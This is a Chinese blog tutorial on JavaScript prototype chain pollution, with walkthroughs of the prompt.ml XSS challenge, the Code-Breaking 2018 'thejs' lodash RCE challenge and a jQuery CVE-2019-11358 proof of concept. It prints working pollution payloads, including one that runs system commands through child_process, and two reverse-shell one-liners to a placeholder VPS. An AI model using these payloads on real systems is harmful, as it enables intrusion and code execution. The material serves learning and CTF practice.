刚学完nodejs不久,趁热打铁将javascript原型链污染学习一下。

JavaScript 是一门面向对象的语言,但是在 ES6 之前,JavaScript 中没有 class 语法。不过在它的构造函数(constructor)就相当于类,通过构造函数,我们可以生成实例化的对象。

原型

原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

js访问对象语法

原型对象

在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

prototype
JavaScript中的每个函数都有一个prototype 属性(显式原型)(仅限函数),它指向调用该构造函数而创建的原型对象

proto

JavaScript 中,每个实例对象(函数,数组,对象)也都有一个__proto__属性用来指向原型对象(隐式原型)。

实例对象的 __proto__与创建该实例对象的构造函数的 prototype 是相等的。

1
2
3
4
5
function Cat() {
this.color = 'white'
}
var cat = new Cat()
console.log(cat.__proto__ === Cat.prototype) // true

constructor
每个原型对象都有一个 constructor 属性,指向相关联的构造函数,所以构造函数和构造函数的 prototype 是可以相互指向的。实例对象也可以访问constructor 属性指向其构造函数。

原型链

原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

1
2
3
4
5
6
7
function Cat() {
this.color = 'white'
}
Cat.prototype.age = 4
var cat = new Cat()
console.log(cat.color) // white
console.log(cat.age) // 4

在 JavaScript 中,如果想访问某个属性,首先会在实例对象(cat)的内部寻找,如果没找到,就会在该对象的原型(cat.__proto__,即 Cat.prototype)上找,我们知道,对象的原型也是对象,它也有原型,如果在对象的原型上也没有找到目标属性,则会在对象的原型的原型(Cat.prototype.__proto__)上寻找,以此内推,直到找到这个属性或者到达了最顶层。在原型上一层一层寻找,这便就是原型链了。


实例对象原型的原型是Object.prototype,而它的原型是null,null 没有原型,所以 Object.prototype 就是原型链的最顶端。

继承

JavaScript 的继承是基于原型链的,在原型链的任何位置设置属性,都能被对象访问到,原型的作用也是在此,它可以包含所有实例共享的属性和方法,就像该属性本来就在实例对象上一样。

继承的查找过程:

  调用对象属性时, 会查找属性,如果本身没有,则会去__proto__中查找,也就是构造函数的显式原型中查找,如果构造函数中也没有该属性,因为构造函数也是对象,也有__proto__,那么会去__proto__的显式原型中查找,一直到null

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function Cat() {
this.color = 'white'
this.age = 5
}

Cat.prototype.getColor = function() {
console.log(this.color)
}

Object.prototype.getAge = function() {
console.log(this.age)
}

var cat = new Cat()

cat.getColor() // orange
cat.getAge()

var a = ['hello', 'world']
function f() {}

console.log(a.__proto__ === Array.prototype) // true
console.log(f.__proto__ === Function.prototype) // true

原型链污染

在JavaScript中访问一个对象的属性可以用a.b.c或者a[“b”][“c”]来访问。由于对象是无序的,当使用第二种方式访问对象时,只能使用指明下标的方式去访问。因此我们可以通过a["__proto__"]的方式去访问其原型对象。

原型链污染一般会出现在对象或数组的键名或属性名可控,而且是赋值语句的情况下。

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

例:

可以发现一个对象son修改自身的原型的属性的时候会影响到另外一个具有相同原型的对象son1

当我们修改上层的原型的时候,底层的实例会发生动态继承从而产生一些修改。

nodejs 命令执行

常见的命令执行就是调用child_process模块来执行系统命令

1
2
global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"')
global.process.mainModule.constructor._load('child_process').exec('bash -c "bash -i >& /dev/tcp/your_vps/8888 0>&1"')

利用手段

存在可控的对象键值

  1. 常发生在merge 等对象递归合并操作
  2. 对象克隆
  3. 路径查找属性然后修改属性的时候

dmeo:
example1:

example2:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

其在合并的过程中,存在赋值的操作target[key] = source[key]。因此,当我们控制target的键key为__proto__时就能污染原型链了。

先试下这个payload:

1
2
3
4
5
6
7
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可以看到并未污染成功:

这是因为,我们用JavaScript创建o2的过程 (let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__并不是一个key,自然也不会修改Object的原型。

因此,我们需要将o2实例对象那部分改为Json格式,如下:

1
2
3
4
5
6
7
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可以看到新建的o3实例对象也存在b属性,说明Object已经被污染了,这样就能成功进行原型链污染攻击了:

这是因为,JSON解析的情况下,proto会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

例题分析

xss

题目地址: http://prompt.ml/13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

分析

1
2
3
4
5
6
7
8
9
10
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;//返回修改后的对象
}

这个函数extends可以接收多个参数,然后赋值给了source变量,接着就对obj对象的键值进行了赋值操作,这个函数是可以导致原型污染链攻击的,但是具体怎么攻击我们还不知道, 继续分析下去。

1
2
3
4
5
6
7
8
9
10
11
12
13
var data = JSON.parse(input); //这里获取输入并且进行json解析
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input)); //这里传入了漏洞函数,正常操作就是替换默认的image Source
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) { //这里只能允许字母数字\ .字符,否则delete掉
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');//这里为了防止逃逸过滤了"
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);//这里拼接了source,这里是xss的点

这里可以里利用第一个正则匹配,delete了source的默认值,这样污染原型链覆盖的话,var source = config.source.replace(/"/g, '');就会去我们覆盖的原型去寻找source。

1
{"source":"%","__proto__": {"source": "123'"}}

但是绕过”,我们可以考虑下replace一些性质

1
'<img src="{{source}}">'.replace('{{source}}', source);

我们看下文档:

字符串 stringObject 的 replace() 方法执行的是查找并替换的操作。它将在 stringObject 中查找与 regexp 相匹配的子字符串,然后用 replacement 来替换这些子串。如果 regexp 具有全局标志 g,那么 replace() 方法将替换所有匹配的子串。否则,它只替换第一个匹配子串。
replacement 可以是字符串,也可以是函数。如果它是字符串,那么每个匹配都将由字符串替换。但是 replacement 中的 $ 字符具有特定的含义。如下表所示,它说明从模式匹配得到的字符串将用于替换。

可以利用第二个参数做点事情:

1
2
3
4
'123'.replace("2",'$`');
"113"
'123'.replace("2","$'");
"133"

最终payload:

1
{"source":"%","__proto__": {"source": "$` onerror=prompt(1)><!--"}}

解析结果:

1
<img src="<img src=" onerror=prompt(1)><!--">

Code-Breaking 2018 Thejs

这是P神在代码审计中出的一道JS原型链污染题目。

题目环境:https://github.com/phith0n/code-breaking/tree/master/2018/thejs
大佬的解:
Code Breaking 挑战赛 Writeup

server.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

可以看到,这里存在一个用户输入点lodash.merge(data, req.body),即在请求方法为POST时直接将req.body的值作为lodash.merge()的第二个参数传入,而我们在前面知道merge()函数是合并数组的操作,同时也是原型链污染的常见场景,因此我们可以通过POST方式传入的请求体内容来污染data数组。

在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。

我们去看下lodash.template()的源码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
```
>options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。
但因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。最后,这个sourceURL被拼接进new Function的第二个参数中,造成任意代码执行漏洞。

了解一下,Function(arg1,arg2,…,funcbody),可以建立一个匿名函数:
![](../../images/js/prototypechain/17.png)
而Function.apply(object, args)可以调用该函数,可以理解为`object.function(arg1, arg2),args=[arg1, arg2]:`
![](../../images/js/prototypechain/18.png)

再看下attempt是干啥的,在[attemp.js](https://github.com/lodash/lodash/blob/4.17.4-npm/attempt.js)中有定义:
```javascript
var attempt = baseRest(function(func, args) {
try {
return apply(func, undefined, args);
} catch (e) {
return isError(e) ? e : new Error(e);
}
});

说到底attempt就是func.apply(),就是执行定义的函数。

那么options是怎么传进来的?我们回到server.js:

1
2
let compiled = lodash.template(content)
let rendered = compiled({...options})

这里三个点是将options数组打散为序列的意思。到这我们还是不能确定options是否可控,但这没必要去考虑,因为我们通过原型链污染来污染Object.sourceURL,致使在寻找options.sourceURL时JS引擎还是能成功在options的原型链上找到该属性。

至此,也就是说,当我们通过原型链污染致使options.sourceURL存在值时,程序会将options.sourceURL污染值拼接到Function()的第二个参数中,导致任意代码执行。
题解
缺陷payload
根据上述分析,可以通过原型链污染致使Object存在污染进来的sourceURL属性,从而导致options也有sourceURL属性进而任意代码执行。

下面这个是有缺陷的payload:

1
"__proto__": {"sourceURL": "\nreturn e => { return global.process.mainModule.constructor._load('child_process').execSync('ls /')}\n"}}

之所以将sourceURL的返回值定义为“另一个函数”,再由“另一个函数”返回系统命令执行结果,是因为原本的设计Function(importsKeys, sourceURL + ‘return ‘ + source)中的source就是返回一个function的,因为现在提前return,考虑幂等原理,修改后的返回也要是function

发送前,注意Content-Type改为application/json:

虽然能执行命令拿到flag,但是Web页面不能再直接访问了。这是因为只要在程序重启之前,整个原型链都会受到污染带来的影响,导致后面用户因为原型已经被污染而无法获取正常服务。
如果在ctf比赛中,也会让其他队伍拿到flag

优化payload
在上一个基础上,在执行本次命令之前用for循环把之前的污染删掉:

1
{"__proto__": {"sourceURL": "\nreturn e => { for (var a in {}){delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('cat /flag_thepr0t0js')}\n"}}

此时的Web服务能正常访问。

jQuery原型污染漏洞(CVE-2019-11358)

在jQuery < 3.4.0的版本中存在原型污染漏洞。

在./src/core.js第155行中,options取传入的参数 arguments[i]:

1
if ((options = arguments[ i ]) != null) {

而后在第158 、159 行中,将options遍历赋值给copy,即copy外部可控:

1
for (name in options) {    copy= options [name];

接着,在第167-185行中,判断copy是否是数组;若是,则调用jQuery.extend()函数,该函数用于将一个或多个对象的内容合并到目标对象,这里是将外部可控的copy数组扩展到target数组中;若copy非数组而是个对象,则直接将copy变量值赋值给target[name]:

1
2
3
4
5
6
7
8
// Recurse if we're merging plain objects or arrays
if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = Array.isArray( copy ) ) ) ) {
...
// Never move original objects, clone them
target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values
} else if ( copy !== undefined ) {
target[ name ] = copy;
}

此时,如果name可以被设置为proto,则会向上影响target的原型,进而覆盖造成原型污染。

往前面找,在第127行中可以看到,target数组是取传入的参数arguments[0]:

1
target = arguments[ 0 ] || {},

也就是说,target变量可以通过外部传入的参数arguments数组的第一个元素来设置target数组的键name对应的值为__proto__,而options变量可通过外部传入的参数arguments[i]进行赋值,copy变量又是由options遍历赋值的,进而导致copy变量外部可控,最后会将copy合入或赋值到target数组中,因此当target[__proto__]=外部可控的copy时就存在原型污染漏洞了。

简单地说,就是target[name]=copy的赋值语句两边均可控,导致JS原型污染漏洞的存在。

因此可以构造如下PoC来验证,先引入漏洞版本的jQuery,再进行JS原型污染攻击:

1
2
3
4
5
var jquery = document.createElement('script');  
jquery.src = 'https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js';
document.getElementsByTagName('head')[0].appendChild(jquery);
let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode":"Hacked By LiMing"}}'));
console.log({}.devMode);

参考文章:
JavaScript 原型链污染
深入理解 JavaScript Prototype 污染攻击
JavaScript 原型链污染
浅析javascript原型链污染攻击
JavaScript原型链污染初探
浅析JavaScript原型链污染攻击
JavaScript原型链污染初探